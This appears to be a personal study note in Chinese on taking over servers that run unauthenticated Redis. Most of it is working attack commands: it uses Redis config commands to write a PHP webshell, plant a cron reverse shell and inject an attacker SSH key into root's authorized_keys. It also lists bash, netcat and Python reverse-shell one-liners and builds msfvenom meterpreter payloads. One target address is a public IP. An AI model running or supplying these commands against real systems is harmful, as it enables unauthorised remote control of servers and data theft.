内容为学习笔记,如有侵权,联系删除
Redis常见用途:做网站缓存,初期用来统计网站访问记录;以key键值和value存储
Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。
官方没有把这个当作一个漏洞,而是作为一个配置不当处理
服务端设置:
主要是RDB机制(默认)
配置文件:redis.conf
save 3600 1 #自动触发规则配置
dbfilename dump.rdb #保存文件名配置
dir ./ #存储路径配置
另有AOF机制
config set:动态修改配置,重启以后失效
redis-cli -h 139.9.139.235 -p 6379
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set x "$_POST[1]); ?>"
save
出现以下情况时使用反弹连接方法
1、内网,私有IP
2、IP动态变化
3、6379端口不允许入方向
4、一句话木马被杀软删除
netcat:nc-lvp 7777(监听7777端口并给出详细的输出)
msf:msfconsole(启动交互界面)
use exploit/multi/handler(使用监听模块)
set payload php/meterpreter/reverse_tcp(使用php的反弹连接)
set lhost 192.168.142.141(本机ip)
set lport 7777(监听7777端口)
run(运行)
socat(kali可用):socat TCP-LISTEN:7777 -
类型 | 命令 |
---|---|
Linux bash | bash -i >& /dev/tcp/192.168.25.131/7777 0>&1 |
netcat | nc -e /bin/bash 192.168.142.44 7777 |
Python | python -c “importos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.142.44’,7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’ , ‘-i’]);” |
标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>
例:
netstat -an|grep 3306 >out.txt // 输出到文件
find / -name “test.py” 2>/dev/null // 过滤报错
命令释义:
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1:打开一个交互式的bash终端,与远程机器建立一个socket连接将标准错误输出合并到标准输出中,将标准输入重定向到标准输出中
配合msf模块使用
类型 | 命令 |
---|---|
msf-PHP | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -o shell.php |
msf-Java | msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -f war -o shell.war msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -f jar -o shell.jar |
msf-exe | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.141lport=7777 -i 5 -f exe -o test.exe |
执行周期性固定时刻的任务
时间表达式,有在线网站生成
命令 | 操作 |
---|---|
crontab -u root -r | 删除某个用户的任务 |
crontab -u root time.cron | 把文件添加到某个用户的任务 |
crontab -u root -l | 列举某个用户的任务 |
crontab -u root -e | 编辑某个用户的任务 |
文件存储路径:
路径 | 内容 |
---|---|
/var/spool/cron | 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab |
/etc/crontab | 放的是对应周期的任务dalily、hourly 、monthly、weekly |
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
1、客户端生成密钥对(公钥、私钥)
2、客户端把公钥发给服务端保存(正常情况需要密码)
3、客户端用私钥加密消息,发给服务端
4、服务端用公钥解密,解密成功,说明密钥匹配
5、客户端免密登录成功
“你之前保存了我的公钥,所以可以解密我的消息,所以认得我”
在攻击机:
ssh-keygen //生成密钥对,直接回车密码不需要
//会在根目录生成.ssh文件,里面有ia_rsa和id_rsa.pub两个文件,前者是私钥,需要自己保存,公钥交给靶机
ssh-copy-id root@192.168.25.132 //以root用户登录并将公钥发给靶机
//需要输入root密码
ssh -i ./id_rsa root@192.168.25.132 //ssh免密登录
使用redis,连接目标redis后:
flushall //清空数据
config set dir /root/.ssh //修改文件存储路径
config set dbfilename authorized_keys //修改存储的文件名
set xxx "\n\n\n公钥字符串\n\n\n" //写入公钥字符
save //保存
redis:
数据清空:flushall
保存数据:save
写入:set webshell “”
linux:
查看防火墙状态:systemctl status firewalld
关闭防火墙:systemctl stop firewalld
systemctl disable firewalld.service
启动Redis服务:/usr/local/soft/redis-6.0.9/src/redis-server /usr/local/soft/redis-6.0.9/redis.conf
关闭服务:redis-cli shutdown
攻击机连接:redis-cli -h 192.168.129.44 -p 6379
查看端口是否启动成功:netstat -an|grep 6379
进入客户端:/usr/local/soft/redis-6.0.9/src/redis-cli
直接vim ~/.bashrc,然后在里面就可以配置别名等信息
配置完成后source ~/.bashrc编译让其生效,然后重启才能生效
# .bashrc
# User specific aliases and functions
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
alias rcli='/usr/local/soft/redis-6.2.9/src/redis-cli'
alias sedis='/usr/local/soft/redis-6.2.9/src/redis-server /usr/local/soft/redis-6.2.9/redis.conf'
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
~